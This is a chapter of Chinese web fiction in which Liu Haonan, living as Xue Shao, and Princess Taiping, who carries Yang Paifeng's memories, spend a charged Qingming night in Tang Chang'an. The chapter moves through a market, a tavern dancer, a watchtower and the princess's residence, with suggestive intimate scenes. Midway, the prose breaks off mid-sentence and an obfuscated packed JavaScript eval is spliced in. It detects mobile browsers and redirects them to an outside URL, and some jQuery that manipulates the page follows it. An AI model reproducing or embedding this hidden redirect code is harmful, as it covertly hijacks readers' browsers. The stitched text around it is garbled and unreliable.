卯时初刻,晨光熹微,淡金透过公主府寝殿茜纱窗,在地衣上投下朦胧光斑。刘皓南已是一身便于行动的玄色胡服,蹀躞带紧束,正为太平系着那件靛青圆领襕袍的最后一颗珍珠扣。他指尖抚过衣缘精美的联珠狩猎纹——这纹样是他凭记忆默出北汉宫廷库藏中某件沙陀风格锦袍的图案,又糅合了盛唐流行的联珠团窠形式,让尚服局秘密赶制。猎犬逐兔,骑士回身引弓,动态十足,细节处藏着草原的粗犷。他面上平静,只道是“见西域商队带来的新奇花样,似是代北团窠纹变体,衬殿下”。
太平由他伺候,目光却落在他蹀躞带悬着的一枚犀角杯上。趁他系扣,她倏地抽走,对着晨光细看杯底阴刻的蔓草卷花纹。“这纹路……”她指尖摩挲刻痕,抬眼时眸光明澈,“倒让本宫想起去岁元日宴,龟兹使团献乐时,那领舞胡姬手中金杯的底纹。薛郎何时得了这等精巧物件?鸿胪寺的故交所赠?” 她语气闲闲,却藏着一丝探询。刘皓南神色不动,自然取回杯子挂好:“殿下眼利。前几日路过西市,见一胡商摊上有此物,形制古朴,随手买下把玩罢了。殿下若喜欢,让下头人寻套更好的来。” 他将“随手”二字咬得平缓,太平瞥他一眼,未再追问,唇角几不可察地弯了弯。
辰时的长安西市,人潮如织,声浪与气味蒸腾出盛世的蓬勃。昨日清明,官民出城祭扫踏青,今日开市,更显拥挤。蒸饼摊白汽滚滚,混着隔壁烤驼蹄炉子里粗盐与孜然炙烤油脂的焦香;卖“毕罗”的胡人操着生硬官话吆喝,油锅滋滋作响;推车叫卖“奶酪樱桃冻”的小贩,清甜奶气混着果香飘散。
刘皓南与太平作富商打扮,混迹人流。太平的目光流连于各色摊贩,新奇雀跃几乎透纱而出。她在“张记胡饼”喷香的馕坑前驻足,看胡人师傅将面团甩得噼啪响贴入炉壁,不多时馕饼鼓胀焦黄。她侧身,很自然地掰下烫手的一角,隔着垂纱边缘,抬手精准地塞进刘皓南唇间。温热麦香混着芝麻焦脆触及味蕾,刘皓南尚未咀嚼,那靛青身影已如游鱼滑入旁边围观“吞刀吐火”的人群,帷帽顶一晃即逝。
刘皓南咽下带着她指尖淡香的饼渣,拨开人群。吐火艺人正鼓腮喷油,烈焰腾起,众人惊呼。火光耀目瞬间,刘皓南眼尖,瞥见艺人破旧皮甲下金属冷光一闪——是精良锁子甲的细密反光!他心下一凛,再寻太平,那抹靛青已没入拐角胡商香料摊区,浓郁蔷薇水与没药香气氤氲成迷离雾障。
未时三刻,他们踏入西市最喧嚷的“胡姬酒肆”。中庭波斯毯圆台上,乐声正炽。羯鼓如骤雨,琵琶弦急如珠落玉盘,筚篥声凄清悠扬。台中央,一位碧眼雪肤、高鼻深目的胡姬,正随乐飞旋。
她身着一袭石榴红鲛绡纱舞衣,薄如蝉翼,旋转间惊心动魄。金线绣出的蔓草纹缠绕臂膀腰肢,而最夺目的是她腰际与足踝上数圈细金链,缀满小铃。每一记扭胯、摆臂、疾旋,金铃便爆出清越密集的脆响,与乐声交织成靡丽诱人的网。她碧眸流转,眼波勾魂摄魄,扫过台下如痴如醉的宾客。舞至酣处,她反手摘下面纱抛向席间,那红纱缘角金铃叮咚,不偏不倚扫过太平膝头。
刘皓南目光一凝。那金铃制式、大小、音色……竟与太平腕间常戴的那对赤金钏坠饰小铃,如出一辙!那是他“偶得”于西域商队,送她时只说“铃音清脆,添些趣味”。
太平指尖拨弄膝头随面纱滑落的金铃,端起鎏金杯浅啜一口葡萄酿,唇边留下一点湿痕。她忽地靠近,扣住他执杯的手腕,吐气如兰,声仅二人可闻:“薛绍,” 她眼波斜睨台上,“你瞧这胡姬,腰肢这般软,眸色这般活,比之上月韦阿嫂寿宴,教坊司献的那曲《绿腰》,孰高孰低?”
刘皓南未及答,台上胡姬一个惊险下腰,身如折柳,石榴裙轰然绽如倒垂红莲,胸前璎珞荡起,几欲掠过前排宾客鼻尖。满堂喝彩鼎沸,钱币抛洒叮当。
就在这片喧嚣炽热中,太平忽以袖掩口,蹙眉道:“这葡萄酿后劲足,熏得人头沉。本宫去更衣处稍歇。” 不待他应,便起身,靛青襕袍消失在通往后院的锦帘后。
刘皓南目送她离去,目光转回舞台。胡姬已舞起更疾的曲子,铃声响作一片。他看似专注,心神已分。更衣处不过后院角落简易围帐。
时间流逝,一曲柘枝舞将尽,太平未归。刘皓南指尖轻弹杯壁,一声清响无人察觉。他起身离席,穿过喧嚣人群。后院酒瓮酸腐气隐约,角落“更衣”帷幔低垂,寂然无声。
“殿下?” 低唤无应。
他掀帘,内唯铜盆清水,太平人影全无。
刘皓南眼神骤冷,身形掠出,目光如电扫过院落每个角落——杂物阴影、晾晒布帛、石榴树后……皆无那抹靛青。忽地,他目光定在石榴树下松软泥土上一点银光。疾步上前拾起,是一支素银发钗,太平今日所簪。几步外,一堆破旧毡毯下露出一角熟悉靛青。掀开,正是太平出门所穿圆领襕袍,被胡乱团塞其下。
衣在人渺。冰冷预感沿脊攀升。
申时末,日头西斜,东市屋瓦染金。喧嚣渐歇,商铺陆续上门板。刘皓南立于东市“望楼”之下。此楼乃官府所设,瞭望火警监察市井,砖木高筑,平日有兵丁值守,然今日清明假期,守卫松懈。
他仰首,目光掠过层层飞檐。暮色渐沉,飞檐阴影浓如泼墨。最高层栏杆旁,一抹火焰般灼目的红,攫住他视线——正是与那胡姬所着的石榴红舞衣同款衣物。而穿着这身单薄艳丽、在暮色中如残阳泣血般夺目舞衣,赤足立于望楼栏杆之上的,竟是太平!
夜风渐起,拂动那件为舞姿而制、用料极省、仅关键处缀以金线宝石的鲛绡红衣。臂膀、腰肢、一截小腿皆暴露在微凉晚风中,那抹红衬得她裸露的肌肤愈发莹白晃眼。她浑然不觉寒意,亦似无视脚下令人目眩的高度,只微微张开双臂,如浴火之凤栖于危栏。
“薛绍,” 声音顺风飘下,带着空灵异样,腰间金铃随体微晃,清碎作响,“你瞧,方才那胡姬旋起来……可像断了线的纸鸢?随风乱转,不知归处。”
不待他应,栏上那抹红衣倏然而动。非跃下,乃就着窄栏,陡然展臂!石榴红缀金广袖“唰”地展开,如凤凰亮翼。紧接着,一阵绝非胡姬柔媚的、急促如羯鼓、铿锵若铁马踏冰河的铃声,骤然炸响!
非诱惑铃音,而是充满力量与节奏、战鼓般的轰鸣!铃声自她腰、腕、足踝迸发,更来自每一记充满爆发力的动作——蹬踏、拧身、扬臂、回旋!她在窄栏起舞,大开大合,矫健近含攻击之美。红裙翻飞如烈焰怒燃,金铃不再是点缀,而成兵刃一部,随动作划破空气,发出锐啸。
当她凌空翻跃,裙摆掠过望楼斗拱上狰狞嘲风兽首的刹那,檐角灯笼光恰好照亮了她的脸。刘皓南的心脏,在那一瞬间,仿佛被一只无形的手狠狠攥住,停止了跳动。
那是“太平公主”的容颜,却更是他记忆中,初遇时的杨排风。
不是后来那个眉宇间总笼着轻愁、因未婚先孕承受流言,因他执着于天门阵而日夜忧心,最终饱经风霜的杨排风。而是更早,在边关凛冽的风沙与天波府灿烂的阳光下,那个鲜活、明媚、带着未经世事磋磨的纯粹骄傲与生命力的少女模样。他见过她练枪时汗湿的额发,见过她大笑时弯起的眉眼,却从未见过她如此……肆意张扬,仿佛天地间所有光华都汇聚于这纵情一跃、这充满野性与美感的舞姿之中。这具年轻矫健的身体,每一个充满力量的伸展与腾跃,都在唤醒他心底最深处的记忆与……尖锐的痛楚。
原来,她年少时,若无所顾忌,本该是这样。
这认知带着滚烫的愧疚与一丝卑微的庆幸,撕裂了他强自维持的平静。是他,是他复兴北汉的执念,是他开启天门阵的疯狂,将那个明媚的少女拖入了无边的纷争与苦楚。阵破之时,他几近身死道消,只能假死脱身,留她一人面对风雨飘摇。再相见时,她眼中已染风霜,笑容里也带了沉重的意味。而此刻,在这荒诞的幻境里,顶着这具年轻娇艳的躯壳,她竟能跳出这般毫无阴霾、充满原始生命力的舞蹈。仿佛一切苦难都未曾发生,她依旧是那个可以肆意飞扬的杨家女将。
“在此时此处……能再见你这般模样……” 这念头酸涩难当,却又有种近乎贪婪的悸动。他凝视着栏杆上那抹如火的身影,目光贪婪地描摹着她每一个充满活力的瞬间,仿佛要将这失而复得的、短暂的光景,深深镌刻进心底。
“殿下这舞……” 他声音干涩,喉结剧烈滚动了一下,强压下翻涌的心绪,试图用最平静的语调评断,“比那胡姬……多了三分剑气。” 他选了个模糊的词,试图掩盖那几乎要冲破胸腔的复杂情感。
栏杆上身影骤停。太平单足立栏,一足后抬,双臂舒展如鹤,微微侧首俯视。旋即,她动了,非轻盈跃下,而是携着未歇的战鼓铃音余韵,如一团坠落的火焰,精准轻巧地落在刘皓南面前三尺屋檐。
那身单薄红衣在如此近距离下,几乎透明。晚风拂过,轻纱紧贴,勾勒出每一处惊心动魄的曲线,裸露的肌肤在暮色中泛着珍珠般的光泽,覆着一层细密的汗珠,散发出混合酒气、汗意与她自身清冽气息的味道。她伸手,指尖带着运动后的微热,猝然扣住刘皓南手腕,不容抗拒地牵引他手指,抚上自己汗湿的脖颈。
指尖触及温腻潮润的肌肤。刘皓南身体几不可察地一僵。
太平恍若未觉,引他手指自颈侧滑下,经锁骨,最后停留在那系着数圈金铃的腰链暗扣处。她压低声音,带着舞后微喘与近乎挑衅的意味,贴着他耳廓:“薛驸马好眼力,可瞧出这铃铛的妙处?这系法,这暗扣……” 她用力按压他指尖,让他清晰感受卡榫独特的、狼首般的凸起,“长安工匠,可会打这等……契丹骑兵鞍鞯上才用的狼首卡扣?”
“契丹”二字入耳,刘皓南瞳孔骤缩!指尖触感确凿——是典型的契丹工艺,为鞍鞯稳固设计的狼首暗扣,坚固巧妙!绝不该现于西域舞衣,更不该被太平如此精准点破!
戌时更鼓声闷闷传来,穿透渐静街巷,隐约飘至高耸望楼。
太平话音未落,刘皓南已反扣她手腕,力道令腕间金铃乱响。另一臂揽住她仅覆薄纱、微汗的腰肢,猛带入怀,转身几步,将她抵在望楼最高处、彩绘梁枋与厚重斗拱形成的幽暗夹角。此处远离栏杆,下临渐次亮起、如地上星河的长安灯火,上覆斑驳彩画,隐蔽而窒息。
此吻来得凶猛急促,毫无征兆。挟着未消的惊悸、隐秘被揭的焦灼,以及更深层——被那融合异域妖娆与旧识锋锐的舞姿所激起的、惊心动魄的惊艳,与汹涌澎湃的、几乎要将他淹没的补偿欲与占有欲。他重重碾过她唇瓣,撬开齿关,长驱直入,舌尖尝到她颈侧滑落的微咸汗意、葡萄酿残存的甜涩与她自身清冽气息。单薄红衣几无阻隔,掌心滚烫与她肌肤微凉对比鲜明。这身躯是如此年轻,充满弹性与活力,是他记忆中最初的模样,却披着幻境的华美外衣,在他怀中真实地颤抖、发热。这认知让他吻得更深,仿佛要将所有错失的时光、所有亏欠的炽热,都倾注于此。
太平闷哼一声,眸中却迸出更亮的光。她非但不拒,反勾住他脖颈,另一手摸索扯落他束发玉冠。墨发披散,与她发间、腰间垂落的金铃绦带纠缠,簌簌滑落梁枋阴影。
呼吸交错间,她喘息着,带笑气音拂过他耳畔:“方才……那胡姬旋时,腰铃统共响了几声?薛驸马……可数清了?”
这没头没脑、带着情动微哑与刻意刁难的问题,让刘皓南呼吸一重,眼底暗潮翻涌。他不答,骤然托住她腰臀,在她低呼中将她举抱而起,轻而易举翻上最高处那根粗大、绘迦陵频伽纹的主椽。此处更窄,视野却奇异地开阔,脚下东市灯火如倒悬星河。
太平脊背贴上冰凉坚硬彩椽,轻颤。金铃随动作碎响,在这寂静高处格外清晰。她望下方遥远如萤的光点,忽轻笑出声,声线飘忽:“薛绍,你当年在鸿胪寺,接待那些鼻子翘上天的契丹使臣时……可曾听他们夸耀,其骑兵于草原夜色,用特制铃铛传讯的秘法?” 她侧脸,被吻得嫣红的唇几乎贴上他下颌,眼中闪着狡黠迷离的光,似醉后戏言。
刘皓南的吻变得凶悍,带惩罚意味堵住她后续可能更危险的话语。掌心探入那几乎不存的红色鲛绡下摆,沿她因属于杨排风身体记忆而柔韧紧实的腰线游走,抚过光滑肌肤上几处细微旧疤——似是箭矢或利器擦过的淡色痕迹。指尖在疤痕上反复流连,带着近乎疼痛的温柔与更深沉的、渴望确认什么的焦灼。这身体,这伤痕,都是真的,是排风历经沙场的证明。可这年轻的、充满弹性的肌肤,这毫无阴霾的、带着挑衅的眼神……又是幻境赐予的、残酷而美丽的错觉。
远处巡夜金吾卫脚步声与悠长梆子声由远及近,又渐行渐远。椽木阴影里,太平终于抑不住仰首,喉间逸出破碎呜咽,被她自己狠狠咬在他肩头堵回。极致感官冲击与灵魂震颤的间隙,刘皓南仿佛听到,从她压抑喉间,滚出半句模糊的、带战鼓铿锵节奏的音节——那调子,分明是《秦王破阵乐》最激昂的一段鼓点!那是刻在杨排风骨子里的旋律,是属于战场、属于天波府的记忆,竟在此刻,以此种方式泄露。
子夜钟声自远处佛寺荡开,悠悠漫过沉睡长安,漫过高高望楼上这对在夜风中汗水微凉、气息未匀的男女。
太平不知何时已拆下一串金铃,正用铃铛边缘坚硬棱角,抵在刘皓南紧绷后背,慢慢划动。冰凉金属划过温热皮肤,带来阵阵细微战栗。她画得专注,长睫垂下投下小片阴影。夜风穿高檐,惊动铁马,发出零星清脆叮当,与她手中残铃微晃清响交织,成一段空灵寂寥夜曲。
“若今夜……” 太平忽停手,抬起湿漉漉眼睫,望脚下那片沉睡城池星河,声音轻如梦呓,“若此刻,真是清明沐休的始日……” 太平的声音带着激烈亲吻后的微喘与一丝不稳的气息,指尖无意识地描摹着他颈侧加快搏动的脉搏,那急促的节奏与她自己的心跳交织,在寂静的高楼角落清晰可闻。她顿了顿,抬起犹带水汽的眼睫,望向脚下渐次亮起、汇成一片朦胧灯海的长安里坊,声音轻得像叹息,却又藏着几分不易察觉的、被夜风吹得微凉的委屈与试探,“……往后几日,既无需点卯,也不必再对着兵部那些冗杂枯燥的弓弩图样、驿传文书,熬到漏尽更残了吧?”
她微微侧过脸,下颌轻轻抵在他肩头,温热的吐息拂过他耳廓,语气掺进一点恰到好处的、类似埋怨的娇嗔,目光却清明地锁着他的反应:“薛郎前些时日,埋首案牍,钻研律例典章,将‘勤勉克己’四个字,践行得比那些御史台的言官还要彻底……倒叫本宫,快忘了休沐时节,寻常夫妻是如何排遣辰光的了。”
她的指尖从他颈侧滑下,若有似无地划过他衣襟微敞处露出的锁骨,最终停在他胸膛因方才纠缠而略显急促起伏的中央,指尖微微蜷起,带着一种小心翼翼的依赖,又像无声的催促。
“今夜这般……登高临远,倒是畅快。” 她将方才的惊险与那个几乎失控的吻轻描淡写地带过,眼波流转间,带着一种属于帝国公主的、理所当然的矜持索求,以及深藏的、对他能否领会并“补偿”的期待,“只是,这难得的、完整的休沐……薛驸马是打算继续‘精研’你的公务律例,” 她稍稍拖长了语调,指尖在他心口画了个无意义的圈,“还是……偶尔也肯拨冗,思量些别的、更合这假期的……‘章程’?”
“章程”二字,她说得又轻又慢,尾音带着一丝气息不稳的微颤,像一片被风拂过的羽毛,轻轻搔刮过心尖。既暗示了“驸马于休沐时应陪伴公主”的本分,又留下了无限暧昧的、供他“思量”与“安排”的余地。她将选择权看似交给了他,实则已委婉地表达了不满与期望——假期方始,你之前“勤勉”得有些过甚,如今总算得闲,总该好好想想,该如何“安排”这几日,才算不负春光,不负……眼前人。
她问得飘忽,却似含千言万语。是问这离经叛道一夜后,回那华丽牢笼的“薛绍”与“太平”如何相对?是问这偷来的、混杂惊险与灵魂震颤的欢愉后,日益明显的裂痕与熟悉感如何面对?亦是问这幻境中,假面之下,两颗挣扎灵魂的明日归途?
刘皓南未答。他只蓦地翻身,将这犹带夜风凉意、金铃碎响与迷茫眼神的女子,更紧地拥入怀中。随即,他扣住她那只犹握金铃、在他后背无意识划动的手,将它连同微凉金铃,一并用力地、紧紧地,按在自己赤裸的、犹存汗意与彼此体温的胸膛左侧。
掌心之下,隔温热皮肤,是他那颗心脏,正以沉重、急促、若战前擂鼓的节奏,疯狂搏动——砰!砰!砰!搏动之力,透过相贴肌肤,毫无保留传递她掌心,震得她指尖发麻。
一切无需言语。所有惊涛骇浪,所有真假疑惧,所有补偿与试探,侵占与交付,过去与此刻,都在这狂野心跳声中,得到最原始、最直接、亦最无力的回应。
恰此时,东北方向某处里坊,一盏温暖橙红的孔明灯,晃晃悠悠升起,渐高渐远,融入深蓝夜空,化一颗温柔星子。那朦胧光晕掠过望楼高檐,亦掠过太平微汗的、线条优美的锁骨,在细密汗珠上折射出碎钻般的光芒,恍然间,令人忆起敦煌壁画上,飞天神女臂弯间摇曳的、流光溢彩的宝石璎珞。虚幻,易碎,却又在那一刻,美得惊心动魄。
坊门闭锁的沉闷撞击声自远处层层传来,铜环与厚重木门相叩的“哐啷”闷响,在寂静的深夜里格外清晰,宣告着宵禁的开始,也意味着他们今夜被彻底“困”在了这东市之中。几乎在坊门落锁的余音尚未散尽时,望楼下方已传来巡夜兵丁整齐的脚步声与铠甲摩擦的轻微声响——金吾卫的定时巡逻,开始了。
声响传来时,太平正将腕间解下的一串金铃,慢条斯理地缠绕在刘皓南的手腕上。冰凉的金属链条贴上皮肤,带来细微的战栗。她忽然倾身靠近,那身石榴红舞衣上缀着的细碎金箔,随着她的动作折射出从檐角灯笼漏进的微光,恰好掠过他上下滚动的喉结。她的气息拂过他颈侧,带着葡萄酿的微醺和一种清醒的挑衅:“薛驸马博览群书,可曾读过《卫公兵法》中那句至理名言?” 她顿了顿,指尖不紧不慢地顺着刘皓南玄色胡服的交领襟口滑入,不偏不倚,正点在他心口一处旧疤上。那疤痕颜色略深,是箭簇留下的痕迹。“‘置之死地而后生’。”
她的指尖带着高处的夜寒与微凉,隔着薄薄的中衣,准确按压在那道旧伤上,仿佛在丈量它的深度与过往。“比如现在——” 她抬眸,眼波在昏暗的光线下流转,既有属于太平公主的骄矜,又藏着某种更深、更野性的试探,“坊门已闭,归路断绝。本宫这身衣裳……” 她另一只手轻轻扯了一下几乎透明的鲛绡纱袖,夜风立刻灌入,激起她肌肤一阵细微的颤栗,声音却依旧带着漫不经心的笑意,“怕是抵不住这春夜寒露。薛郎熟读兵书,通晓古今,此刻是该学那裴将军雪夜奇袭,速战速决,擒得……‘暖意’归?还是效仿曹子建,对着洛水之神,空作缠绵悱恻的辞赋,冻到天明?”
刘皓南的目光扫过下方渐近的巡逻火光,没有丝毫犹豫,手臂一揽,扣住太平的腰肢,足尖在栏杆上一点,身形如夜枭般悄无声息地拔起,瞬间隐入了望楼最高处交错粗大的梁柱阴影之中。这里空间极为狭窄,两人几乎紧贴在一起,挤在彩绘斑驳的梁枋与冰冷屋瓦的夹角里。
子时的望楼彻底没入黑暗,只有远处里坊零星未熄的灯火,将那微弱摇曳的光,投射在太平腰间金链镶嵌的金属片上,反射出幽暗迷离的光晕。巡逻士兵的脚步声和低语从下方很近的地方经过,又渐渐远去。寂静重新笼罩,而高处的夜风更加
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17185078|196997||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
砭骨。太平似乎真的觉得冷了,不着痕迹地瑟缩了一下,却刻意将滑落的红色鲛绡纱袖撩至肘间,露出一截小臂。那手臂肌肤莹润,但在靠近手腕处,却有一小片颜色略浅、形状不规则的旧痕,不似中原常见的伤疤。“啧,” 她轻吸一口气,声音带着点恰到好处的埋怨,却又勾着一丝笑,仿佛在抱怨自己之前“要美丽不要温度”的决定,但姿态依旧骄矜,“冷得很……薛郎掌管过一阵子内府库藏,可还记得三年前,安西都护府进贡的那张极品白狐裘?通体雪白无一根杂毛,据说置于雪地,覆之如春。” 她的目光意有所指地扫过刘皓南身上那件质料厚实、做工精良的玄色外袍,暗示得再明显不过——此刻,他就是那张“白狐裘”。
刘皓南沉默地看了她片刻,她裸露的肩臂在夜风中微微发抖,唇色也有些发白。他终是抬手,解开了自己外袍的系带。动作间,太平的足尖状似无意地一勾,将之前遗落在下方梁间的那幅石榴红锦缎裙裾挑起。绛红色的华丽锦缎如水瀑般展开,精准地飘落,堪堪盖住了两人紧贴的膝头区域,在清冷的月光和遥远的灯火映照下,像一小片骤然绽放的、不合时宜的暖色。她腕间的金铃随着细微的动作轻轻作响,叮铃、叮铃,与远处传来的、沉闷的报更梆子声交织在一起,仿佛某种秘而不宣的夜语。
丑时的更鼓声闷闷地滚过长安城的上空。就在这更鼓余韵里,狭小空间内的温度似乎因彼此贴近而回升,太平忽然凑近,用牙齿轻轻咬住了刘皓南中衣领口的系带。微微一用力,丝质系带松开,她的唇瓣顺势擦过他肋间一处颜色略淡的新月形疤痕。湿热的气息喷洒在敏感的旧伤处,她含糊地轻笑,带着探究:“唔……听闻突厥骑兵的弯刀,最爱挑对手肋下此处下手,以求破甲伤肺……薛郎这道疤的形状,倒不似寻常刀剑所伤,细看弧度,倒像是凉州一带传闻的‘破云刀’路数所赐?”
刘皓南身体几不可察地一僵,猛地擒住了她那只悄然探向他腹下、意图作乱的手腕。他的力道不轻,带着制止的意味。然而,太平手腕以一种不可思议的柔韧角度一转,反以胡旋舞中常见的缠腕柔劲,如灵蛇般绕上了他的臂膀,不仅轻松卸了力道,反而形成了更紧密的纠缠。动作间,本就松垮的舞衣肩带彻底滑落,露出她左侧肩胛处一小片肌肤,以及上面一个颜色很淡、却形状规整的星芒状旧创。她喘息着,将另一只手上缠绕的金链顺势环上他的后颈,拉近彼此的距离,吐气如兰,声音压得低而媚,带着明目张胆的挑衅:“此处幕天席地,星光低垂如盖,又无闲杂人等……薛驸马饱读诗书,通晓礼法规矩,难道……不敢应战么?” 她刻意咬重了“规矩”二字,眼波流转,既有公主的骄纵,又藏着一种“我知你顾虑,但我偏要”的顽劣,以及更深处的、对他近来因忙于“学习”各种规矩而对她有所“冷落”的隐秘不满与试探。
“殿下,” 刘皓南的声音在夜色里显得有些低沉沙哑,他反手将她作乱的手腕扣住,压在了身侧冰凉坚硬的椽木上,鼻尖几乎抵上她衣领间蒸腾出的、混合了汗意、酒气与冷香的暖融融气息,“若再乱动,” 他顿了一下,目光锁住她近在咫尺、闪烁着跃跃欲试光芒的眼睛,一字一句道,提醒着彼此的身份与处境,“臣不介意,明日让御史台的奏章,或是《刑部疏议》的案卷里,添上一条‘驸马都尉薛绍,夜秽望楼,有辱斯文’的记档。” 他已熟知唐律,更清楚身为驸马,与公主公开场合行为不谨,甚至“秽乱”宫观高楼,会招致何等严厉的弹劾与惩罚。公主或许只是被申饬,而他这个“外臣”驸马,轻则罚俸贬官,重则……他必须克制。
话音未落,太平忽然仰头,含住了他近在咫尺的耳垂,不轻不重地用齿尖啮了一下,与此同时,屈起的膝头似乎“不经意”地蹭过了他腰腹下方某个已然紧绷的位置。她含糊地笑,带着得逞的狡黠和一丝因他“不解风情”而起的微恼。
……
远处传来第一声坊门初启的梆子响,沉闷而悠长,尚未完全落定,下方巡逻的士兵也似乎换过了班次。刘皓南不再犹豫,揽着怀中人纤细却柔韧的腰肢,如同夜行的巨鸟,悄无声息地滑下了高高的望楼,掠过重重屋脊。太平赤着足,踩过被晨露浸得微凉的鸳鸯瓦,发出细微的窣窣声。那幅被当作“毯子”的绛红锦缎,被她匆匆在腰间系了个结,勉强遮住膝上三寸,随着她的动作,在微明的天光中划出惊心动魄的弧度。
就在两人即将跃过两坊之间那道狭窄昏暗的夹巷时,太平忽然回首,眼眸在熹微的晨光中亮得惊人。她猛地用力,扯落了身上半幅早已松散的石榴红裙裾,迅捷地将其缠绕在巷口一处不起眼的檐角兽头上,打了个醒目的结。“留个念想!” 她压低声音,语气里带着恶作剧得逞般的快意,以及属于帝国公主那种天不怕地不怕的张扬,“明日,全长安城都会知道,薛驸马与夫人情深意笃,携手登高,‘观星’至天明——”
她话音未落,身旁玄色的身影已然动了。刘皓南的手臂骤然收紧,足尖在乐坊尚未熄灭的灯笼顶盖上借力一点,身形如夜枭折转,带着她飘然掠过坊墙,无声无息地落进了公主府西墙外那片茂密的槐树林中。几乎就在他们落地的瞬间,一队巡夜金吾卫的灯笼光堪堪从墙外的街道上匀速掠过。
两人屏息,紧紧卡在庭院角落一处繁茂的紫藤花架与白色粉墙形成的狭窄缝隙间。花叶的阴影将他们完全覆盖。太平几乎整个人贴在刘皓南怀里,她能清晰地听到他胸腔里传来的、尚未完全平复的急促心跳。她忽然起了玩心,将手腕上残存的一颗金铃轻轻按在了他凸起的锁骨窝里,仰起脸,用气声在他耳边低语,带着笑:“薛绍,你听听……你这心跳声,扑通扑通的,比刚才追过去的金吾卫脚步声还响呢。” 她顿了顿,指尖调皮地刮了刮他的锁骨,“驸马爷,您这‘规矩’,学得似乎还不到家啊,心跳声都叛变了。”
……
浴汤蒸腾起袅袅白雾,氤氲了镜面。太平趴在宽大的浴桶边缘,下巴搁在交叠的手臂上,看着屏风后刘皓南沉默地梳洗披散的长发。水面上漂浮着鲜红的玫瑰花瓣,她伸出指尖,捻起一片,无意识地揉搓着,胭脂色的汁液在她指尖和水中洇开。“《乙巳占》上说,今夜轩辕十四星格外明亮,主兵戈、肃杀之气。” 她忽然开口,声音因水汽而显得有些懒洋洋的,却依旧不忘展示她“涉猎广泛”,“不过,本宫瞧着,薛郎背上那些旧伤疤排列的样子,倒比袁天罡的星盘推演还要准些,颗颗都像是落在要命的位置上。” 她这话说得随意,却让屏风后的刘皓南动作几不可察地一顿。那些伤疤,大多是他身为刘皓南、作为北汉皇孙和辽国国师时留下的,而在此刻“薛绍”的身份下,显得格外突兀。
当她被擦拭干净,抱上铺着柔软锦褥的床榻时,倦意已如潮水般涌上。然而,就在陷入锦褥的前一刻,她忽然伸手,抽走了刘皓南挽发的一根素银簪子。银簪在她手中转了个圈,尖端毫不犹豫地划向床头摊开的那卷《西域舆图》。“嗤啦”一声轻响,羊皮地图上,代表安西都护府的位置,被划下了一道清晰的深痕。“明日,” 她丢开银簪,语声模糊,带着浓浓的睡意,却又异常清晰地说,“给朔儿编那个九连环的时候,记得添个西域那边传过来的小机关……要那种,六岁孩童能自己解开的才行。若是解不开……” 她翻了个身,将脸埋进带着阳光气息的软枕里,声音渐低,却带着一丝不容置疑的骄傲,“……可就不配当薛绍的儿子。”
晨光终于透过茜纱窗,浸满了内室。刘皓南发现,那根银簪并未被丢弃,而是端端正正地插在了《西域舆图》上,安西都护府所在的位置。而一旁妆台上,那本她常翻的《推背图》残页,不知何时被打开,在某一页的空白处,用她未洗净的、带着玫瑰香的胭脂,添了几行簪花小楷的新批注:
“星坠玉门关,铃动朱雀门;胡姬解甲夜,春衫拭剑痕。”
当刘皓南终于能揽着她一同躺下,陷入那柔软得几乎能将人吞噬的锦褥时,他的手仍下意识地护在她后腰的位置,形成一个保护性、甚至略带防御意味的姿态。太平的指尖还无意识地搭在他的颈侧,随着他平稳有力的脉搏微微起伏。就在她即将彻底坠入深眠的边缘,一句含混的、梦呓般的低喃逸出唇畔:“薛绍……若今夜,不是开始,而是……清明休沐的最后一晚……”
刘皓南的心,像是被那未尽的、带着不确定和某种深重疲惫的尾音轻轻刺了一下。这疲惫,或许来自“太平公主”身份的束缚,或许来自对他近来“冷淡”的不满,或许……只是这具年轻身体在彻夜放纵后的自然反应。但他听出了那话语深处一丝几不可察的失落。是因为他之前的克制吗?因为他这个“驸马”未能满足她寻求的“刺激”?一种混合着愧疚与怜惜的情绪涌上心头。他忽然俯身,吻住了她微启的、还残留着些许湿润的唇。这个吻不同于此前的任何一次,它带着浴后玫瑰花瓣的清淡湿气,以及彻夜未眠的深深疲惫,没有侵略,没有试探,只有一种近乎叹息的温柔,轻柔得像是在安抚一只收拢了所有利爪、终于显露出疲惫与依赖的雀鸟。他的掌心抚过她光滑的肩背,在触及胡姬舞衣细细金链勒出的那几道浅红色压痕时,动作不由自主地又放轻、放缓了三分,带着不易察觉的怜惜与歉疚。他知道,自己近来为了尽快适应“薛绍”的身份,熟悉大唐的律法、驸马的规矩、兵部的公务,确实有些忽略了她。而她,用这样惊险又热烈的方式,提醒着他的“失职”。也罢,既然是在这偷来的幻境时光里,既然她想要……那便尽力补偿吧。他心中暗叹,将怀中人搂得更紧了些。
窗外檐下的铁马,被拂晓时分渐起的晨风惊动,发出零零星星、清脆而寂寥的叮当声。在这细微的金属鸣响里,她无意识地攥紧了他半幅微湿的衣袖,呼吸终于变得绵长安稳,沉沉睡去。